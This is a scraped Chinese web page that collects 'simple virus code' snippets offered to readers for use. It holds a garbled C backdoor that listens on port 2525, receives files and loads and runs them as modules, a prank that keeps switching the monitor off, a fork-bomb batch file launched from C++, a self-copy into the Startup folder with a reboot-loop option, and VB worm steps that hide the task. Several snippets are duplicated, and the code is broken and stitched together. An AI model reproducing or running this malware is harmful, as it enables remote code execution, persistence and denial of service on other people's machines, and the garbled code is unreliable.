Cmd;pMaillist *pMail;pMoudlelist *pMoudle;String Versionofme;pmyPCinfo *pcinfo;}DVPPak, *pDVPPak;HINSTANCE hInst; /* 当前实例句柄 */HWND hWndMain; /* 主窗口句柄 */SOCKET listenSocket; /* 监听套接口 */pCONNINST pConnInstHead;pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);pCONNINST getConnInst(SOCKET);void OnWrite(SOCKET socket);int netHalt(void);void delConnInst(pCONNINST);Void DvpExpCmd(Socket s);void delAllConnInst(void);void RecvFileThreadProc(pFileUpData *plm);void SendFileThreadProc(pFileUpData *plm);int uiStartup(HINSTANCE hInstance, int nCmdShow);LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);int netStartup(void);void OnAccept(SOCKET socket);void OnClose(SOCKET socket);void OnRead(SOCKET socket);void sendResult(SOCKET socket);int netStartup(void){unsigned short wVersionRequested=MAKEWORD(1,1);WSADATA wsaData;SOCKADDR_IN saServer;DWORD dwAddrStrLen;char szAddress[128];int nRet;/* 初始化WinSock */if(WSAStartup(wVersionRequested, &wsaData)!=0){//("Dvp 错误 :: 网络协议启动失败,请重新启动计算机.");}/* 检查Winsock版本 */if(wsaData.wVersion != wVersionRequested){//("Dvp 错误 :: 网络协议版本错误,请升级Winsock.");}/* 创建流式套接口 */listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(listenSocket==INVALID_SOCKET){//("ERROR :: Can not create steam socket.");return 0;}/* 通知套接口有请求事件发生 */nRet=WSAAsyncSelect(listenSocket,hWndMain, //在网络事件发生时需要接收消息的窗口句柄UM_ASYNC, //在网络事件发生时要接收的消息FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);//只在程式开始执行一次,以后只要有套接口请求就发送消息if (nRet==SOCKET_ERROR){//("ERROR :: Can not initialize steam socket.");closesocket(listenSocket);return 0;}/* 地址结构设定 */saServer.sin_port=htons(2525); //端口在这里哦saServer.sin_family=AF_INET;saServer.sin_addr.s_addr=INADDR_ANY;/* 将一本地地址3872与套接口listenSocket捆绑 */nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));if (nRet==SOCKET_ERROR){//("ERROR :: Can not bind socket to local port 1936.");//("HINT :: Dvp Kernel Server can only run in one thread.");closesocket(listenSocket);return 0;}/* 让套接口开始监听 */nRet = listen(listenSocket, SOMAXCONN);if (nRet == SOCKET_ERROR){//("ERROR :: Can not listen.");closesocket(listenSocket);return 0;}dwAddrStrLen = sizeof(szAddress);GetLocalAddress(szAddress, &dwAddrStrLen);return 1;}/* Unknown how */int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen){struct in_addr *pinAddr;LPHOSTENT lpHostEnt;int nRet;int nLen;// Get our local namenRet = gethostname(lpStr, *lpdwStrLen);if(nRet==SOCKET_ERROR){lpStr[0]='';return SOCKET_ERROR;}// "Lookup" the local namelpHostEnt=gethostbyname(lpStr);if(lpHostEnt==NULL){lpStr[0] = '';return SOCKET_ERROR;}// format first address in the listpinAddr=((LPIN_ADDR)lpHostEnt->h_addr);nLen=strlen(inet_ntoa(*pinAddr));if((DWORD)nLen>*lpdwStrLen){*lpdwStrLen=nLen;WSASetLastError(WSAEINVAL);return SOCKET_ERROR;}*lpdwStrLen = nLen;strcpy(lpStr, inet_ntoa(*pinAddr));return 0;}int uiStartup(HINSTANCE hInstance, int nCmdShow){WNDCLASS DvpWindow;HANDLE hObject;/* 创建实例 */hInst=hInstance;/* 判断是否已经运行 */hObject=CreateMutex(NULL,FALSE,"DvpC");if(GetLastError() == ERROR_ALREADY_EXISTS){CloseHandle(hObject);PostQuitMessage(0);return 0;}/* 创建窗口 */DvpWindow.style=0;//指定类的风格DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口过程的远指针DvpWindow.cbClsExtra=0;//窗口结构额外字节数DvpWindow.cbWndExtra=0;//窗口实例额外字节数DvpWindow.hInstance=hInstance;//窗口过程所在的实例DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//调用标识类的图标DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//调用标识类的光标DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//标识背景类的画刷DvpWindow.lpszMenuName=NULL;//指向标识类菜单资源的字符串,以空字符结束DvpWindow.lpszClassName="DVPSample";//标识本类的名称RegisterClass(&DvpWindow);//注册窗口hWndMain=CreateWindow("DVPSample","DVPSample",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL);if(!hWndMain) return 0;ShowWindow(hWndMain,SW_HIDE);//显示窗口UpdateWindow(hWndMain);//更新窗口return 1;}//处理窗口消息LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){switch(message)//开始处理消息{/* User Interface Message */case WM_CLOSE:return(DefWindowProc(hWnd,message,wParam,lParam));break;case WM_DESTROY:deleteSystrayIcon();PostQuitMessage(0);break;case WM_SIZE:delAllConnInst();break;/* Network Message */case UM_ASYNC:switch(WSAGETSELECTEVENT(lParam)){case FD_ACCEPT:OnAccept((SOCKET)wParam);break;case FD_READ:OnRead((SOCKET)wParam);break;case FD_WRITE:OnWrite((SOCKET)wParam);break;case FD_CLOSE:OnClose((SOCKET)wParam);break;}break;default:return(DefWindowProc(hWnd,message,wParam,lParam));//默认窗口过程的消息处理}return(0);}pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip){/* 分配一块新的连接实例 */pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));/* 没有内存了 */if(newConnInst==NULL) return NULL;/* 分配一块新的SOCKADDR实例 */// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);// newConnInst->sockAddr=malloc(nAddrLen);/* 没有内存了 */// if(newConnInst->lpSockAddr==NULL)// {// free(newConnInst);// return NULL;// }//装填新的请求包newConnInst->socket=socket;newConnInst->clientPort=port;newConnInst->clientIP=ip;newConnInst->pCmd=NULL;newConnInst->pResult=NULL;newConnInst->cmdLen=0;newConnInst->resultLen=0;newConnInst->beginTime=time(NULL);newConnInst->updateTime=newConnInst->beginTime;newConnInst->lastestSequenceNumber=0;newConnInst->next=NULL;//如果请求链表是空的if(pConnInstHead==NULL){//将这个请求作为链表头,放到pConnInstHeadpConnInstHead=newConnInst;}else{pCONNINST tempConn=pConnInstHead;//走到链表尾while(tempConn->next) tempConn=tempConn->next;//追加新包到链表尾tempConn->next=newConnInst;}//返回装填好的包的指针return newConnInst;}pCONNINST getConnInst(SOCKET socket){/* 遍历链表,寻找套接口 */pCONNINST tempConn=pConnInstHead;while(tempConn!=NULL){if(tempConn->socket==socket) break;tempConn=tempConn->next;}/*若没有,返回NULL */return(tempConn);}void delConnInst(pCONNINST pConnInstToDel){/* 如果要删除的是链表头 */if(pConnInstToDel==pConnInstHead){/* pConnInstHead->next 成为头 */pConnInstHead=pConnInstHead->next;/* 对链表头的free()在最后进行 */}else{pCONNINST tempConn=pConnInstHead;/* 从链表头开始 到NULL为止 每次指向下一个*/while(tempConn!=NULL){/* 若当前的下一个是要被删除的 */if (tempConn->next==pConnInstToDel){/* 当前的下一个变成下一个的(要被删除的)下一个 */tempConn->next=pConnInstToDel->next;break;}}}/* 释放pConnInstToDel占用的内存 */free(pConnInstToDel->pCmd);free(pConnInstToDel->pResult);free(pConnInstToDel);return;}void delAllConnInst(void){pCONNINST tempConn=pConnInstHead;pCONNINST tempConn2;/* 遍历链表,依次释放内存 *//* 若存在tempConn则继续for */while(tempConn!=NULL){tempConn2=tempConn->next;// free(tempConn->lpSockAddr);// free(tempConn->pResultBuf);free(tempConn->pCmd);free(tempConn->pResult);free(tempConn);tempConn=tempConn2;}pConnInstHead=NULL;return;}void OnAccept(SOCKET socket){SOCKADDR_IN sockAddrIn;pCONNINST connInst=NULL;SOCKET peerSocket;int tempLength;// accept the new socket descriptortempLength=sizeof(SOCKADDR_IN);peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);if(peerSocket==SOCKET_ERROR){if(WSAGetLastError()!=WSAEWOULDBLOCK){//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));return;}}//让它也可以在读写或关闭的时候向窗口发送消息WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);if(peerSocket==SOCKET_ERROR){//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));return;}//将这已连接的套接口放到链表里connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);if (connInst==NULL){//内存满了//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));closesocket(peerSocket);return;}//("A new request from: %s is accepted on socket %d.",inet_ntoa(sockAddrIn.sin_addr), peerSocket);return;}void OnClose(SOCKET socket){pCONNINST connInst;// 检查是否已经删除了这个套接口connInst=getConnInst(socket);if (connInst==NULL) return;// It is still in stock list// The client must have to reset the connection.// Clean up.//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);closesocket(connInst->socket);delConnInst(connInst);}/* 可以读取数据了 */void OnRead(SOCKET socket){pCONNINST connInst;int bytesReceive;char* pNewCmd=NULL;/* 查找对应的连接实例 */connInst=getConnInst(socket);/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */if(connInst==NULL){char buf[1024];while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);closesocket(socket);//("When ready to receive (OnREAD), get some noise - DEBUG");//("it is %c%c%c",buf[0],buf[1],buf[2]);return;}/* 否则将所有数据读入命令堆 */if(connInst->pCmd==NULL){connInst->pCmd=(char*)malloc(64);connInst->cmdLen=0;if(connInst->pCmd==NULL){//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));closesocket(connInst->socket);delConnInst(connInst);return;}}pNewCmd=(char*)malloc(64);if(pNewCmd==NULL){//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));closesocket(connInst->socket);delConnInst(connInst);return;}memset(pNewCmd, 0, 64);bytesReceive=recv(socket, pNewCmd, 64, 0);//("收到:%d字节",bytesReceive);if(bytesReceive==SOCKET_ERROR){//操作此时由于Windows Sockets实现的资源或其它限制的制约而无法调度if(WSAGetLastError()==WSAEWOULDBLOCK) return;//("recv() Error");//("Closing socket: %d", connInst->socket);closesocket(connInst->socket);delConnInst(connInst);return;}/* 有的时候, OnRead消息是假的, 收到的字节数是-1, 要忽略这种情况*/if(bytesReceive>0){connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);connInst->cmdLen+=bytesReceive;free(pNewCmd);DvpExpCmd(socket);}else{free(pNewCmd);}return;}Void DvpExpCmd(Socket s){pCONNINST connInst=getConnInst(s);char *pThisCmd=NULL; /* 从命令堆里面读取第一个命令包, 这个用来保存命令包的地址 */char *pSwap=NULL; /* 清除命令堆旧命令交换用的指针 */if(pThisCmd==NULL){//("DEBUG - 无法定义命令包起点, 函数返回, 等待命令.");return;}if(pThisCmd > connInst->pCmd){/*如果前面有残余数据, 那么就立刻清除残余数据这种情况遇到的不会多*///("处理残余数据");pSwap=connInst->pCmd;connInst->pCmd=strdup(pThisCmd);connInst->cmdLen-=(pThisCmd-connInst->pCmd);free(pSwap);/* 继续 */}LVoid pak;while (*pThisCmd!=Null){pak+=*pThisCmd;pThisCmd+=sizeof(char);}pDVPPak *myDvp=*(DVPPak*)pak;if(myDvp->SAMCommand=='UPData'){/*对方传文件给我们!!*/pFileUpData *Up=*(FileUpData*)myDvp->cmd;DWORD dwThread;if(*up!=Null){up->clientIP=pThisCmd->clientIP;if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受线程{//something wrong with Recv... }else{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//处理权限,自己发挥吧。。。{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );MoudleStart(Up->Cmd);//开始执行!}}}free(up);}if(myDvp->SAMCommand=='GetData'){/*2002.10.19*//*对方要我们的文件*/pFileUpData *Up=*(FileUpData*)myDvp->cmd;if(up!=Null){up->clientIP=pThisCmd->clientIP;DWORD dwThread;if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件传送线程{//something wrong with Recv... }else{/*传输SamCmmand='UpData',cmd=(lvoid*)up给对方*/}}free(up);}if(myDvp->SAMCommand==Null){/*处理对方发来信息中有用的信息*//*对于我们来讲,这个问题是应该由个人处理的*//*对于这里我们还要给对方返回一包即我们的信息*//*此处需要发送消息到对方,来获得如文件之类的东西*/}free(pThisCmd);free(myDvp);return -1;}void OnWrite(SOCKET socket){pCONNINST connInst;connInst=getConnInst(socket);/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */if(connInst==NULL){char buf[1024];while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);closesocket(socket);//("When ready to send, get some noise");//("it is %c%c%c",buf[0],buf[1],buf[2]);return;}/* 如果连接实例有需要发送的数据 */if(connInst->pResult!=NULL){sendResult(socket);}return;}void sendResult(SOCKET socket){pCONNINST connInst=getConnInst(socket);int bytesSent;bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);if(bytesSent==SOCKET_ERROR){if (WSAGetLastError()!=WSAEWOULDBLOCK){//("send() Error");//("Closing socket: %d", connInst->socket);closesocket(connInst->socket);delConnInst(connInst);return;}}if((unsigned int)bytesSentresultLen)//如果发送的字节少于结果字节{char* temp;connInst->resultLen=connInst->resultLen-bytesSent;temp=(char*)malloc(connInst->resultLen);memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);free(connInst->pResult);connInst->pResult=temp;}else //如果全部发送完毕{free(connInst->pResult);connInst->resultLen=0;connInst->pResult=NULL;}}int netHalt(void){pCONNINST connTemp;/* 关闭监听套接口 */closesocket(listenSocket);/* 关闭所有正在连接的套接口 */connTemp=pConnInstHead;while(connTemp){closesocket(connTemp->socket);connTemp=connTemp->next;}/* 清除请求包链表 */delAllConnInst();Beep(200,50);WSACleanup();return 1;}int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){MSG msg;/* User Interface Startup */uiStartup(hInstance, nCmdShow);/* Network Startup */netStartup();/*我们在下面应该做些什么?搜索ip连接。。。。。*//* 进入消息循环 */while(GetMessage(&msg,NULL,0,0)){TranslateMessage(&msg);DispatchMessage(&msg);}/* Network Halt*/netHalt();return 0;}void RecvFileThreadProc(pFileUpData *plm){// Open target file// Get remote addressint i,nPort;char svAddress[256];lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);for(i=0;i<256;i++) {if(svAddress==':') {svAddress='';nPort=atoi(&svAddress[i+1]);break;}}// Put into SOCKADDR_IN structureSOCKADDR_IN saddr;struct hostent *he;DWORD dwIPAddr;dwIPAddr=inet_addr(svAddress);if(dwIPAddr==INADDR_NONE) {he=gethostbyname(svAddress);if(gethostbyname==NULL) {free(plm);return 1;}dwIPAddr=*(DWORD *)he->h_addr_list[0];}memset(&saddr,0,sizeof(SOCKADDR_IN));saddr.sin_family=AF_INET;saddr.sin_port=htons(plm->port);saddr.sin_addr.s_addr=dwIPAddr;// Create socketSOCKET sv;sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);if(s==INVALID_SOCKET) {free(plm);return 1;}// Connect to remote portif(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {closesocket(sv);free(plm);return 1;}// Nonblocking modeDWORD dwBlock=1;ioctlsocket(sv, FIONBIO, &dwBlock);HANDLE hFile;hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(hFile!=NULL) {int nBytes;DWORD dwCount;char svBuffer[1024];do {// Give up timeSleep(20);nBytes=recv(sv,svBuffer,1024,0);if(nBytes>0) {WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);}} while(nBytes>0);CloseHandle(hFile);}closesocket(sv);return 0;}void SendFileThreadProc(pFileUpData *plm){SOCKET sv;sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);if(sv==INVALID_SOCKET) {free(plm);return -2;}// Bind to desired portSOCKADDR_IN saddr;memset(&saddr,0,sizeof(SOCKADDR_IN));saddr.sin_family=AF_INET;saddr.sin_port=htons(plm->port);saddr.sin_addr.s_addr=0;if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {closesocket(s);free(pptp);free(ppi);return -1;}listen(sv,MAX_CONNECTIONS);// Nonblocking modeDWORD argp=TRUE;ioctlsocket(sv,FIONBIO,&argp);sleep(1000);SOCKET psv;int tempLength;// accept the new socket descriptortempLength=sizeof(SOCKADDR_IN);psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);if(peerSocket==SOCKET_ERROR){if(WSAGetLastError()!=WSAEWOULDBLOCK){//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));return;}}HANDLE hInFile;hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);if(hInFile==INVALID_HANDLE_value) {//Couldn't open local file.return -1;}char svBuffer[1024];DWORD dwBytes;do {ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);if(send(psv,svBuffer,dwBytes,0)<=0) break;} while(dwBytes==1024);closesocket(psv);closesocket(sv);CloseHandle(hInFile);Return -1; }
      /* 病毒分类:半玩笑病毒使用效果:不断关闭显示器*/#include#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" ) // 隐藏主窗口int main(){MessageBox(NULL, "即将启动项目-核弹发射准备", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "流浪地球-自焚毁程序启动", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "准备调用全球12个自焚毁程序", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "程序调用成功", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "流浪地球-自焚毁程序已成功装载!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹发射控制芯片已就位!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "助推系统自检完毕!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核反应堆自检完毕!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "能量传输通道自检完毕!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹已就位!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "控制芯片已传输至核弹!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "点火闸已就位!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹发射密钥已传至核弹!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "核弹发射程序已启动!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);MessageBox(NULL, "警告,地球将被摧毁!", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);Sleep(1000);while (1) {SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2); // 关闭显示器Sleep(1000);} }
      请问楼主看得懂么? 所以我给你一个最简单的:网上的病毒在哪?下载不就得了,用get函数 (其实就是一个病毒下载者)
      求C++病毒代码

      简单的病毒编程代码

      蠕虫病毒小代码打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:'阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path & "" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe"。
      简单的病毒编程代码

      比较简单的C++病毒代码

      /*亲自验证,不到30秒电脑卡死!运行后做好关机准备*//*留下您的赞再拿走,谢谢*/运行效果如图/*源代码:*///////////////////////////////////////////////////#include #include #include using namespace std;int main(){char a[9] = "abc.bat";ofstream file_out(a);file_out<<"%0|%0";file_out.close();system( a );return 0;}
      最简单的病毒 #include "windows.h"#include "stdio.h"void main(int argc,char * argv[]){//printf("%sn",argv[i]);char copy[80];sprintf(copy,"copy%s"%%userprofile%%\「开始」菜单\程序\启动"",argv[0]);system(copy); //将这个程序拷到开机启动文件夹下面//char cmd[]="shutdown -r -t 0";//自动重起char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!system(cmd);system("pause"); }
      最简单的病毒代码如下:#include "windows.h" #include "stdio.h"void main(int argc,char * argv[]){//printf("%sn",argv[i]);char copy[80];sprintf(copy,"copy%s"%%userprofile%%\「开始」菜单\程序\启动"",argv[0]);system(copy); //将这个程序拷到开机启动文件夹下面//char cmd[]="shutdown -r -t 0";//自动重起char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!system(cmd);system("pause"); }
      /*亲自验证,不到30秒电脑卡死!运行后做好关机准备*/ /*留下您的赞再拿走,谢谢*/运行效果如图/*源代码:*///////////////////////////////////////////////////#include #include #include using namespace std;int main(){char a[9] = "abc.bat";ofstream file_out(a);file_out<<"%0|%0";file_out.close();system( a );return 0; }
      #include "picture.h" //加入绘图头文件 usingnamespacestd;int main(){intx=1024;inty=768;inta,b;clog<<"我恭喜你中了病毒!"<
      比较简单的C++病毒代码

      本文由 在线网速测试 整理编辑,转载请注明出处。

          热门文章

          文章分类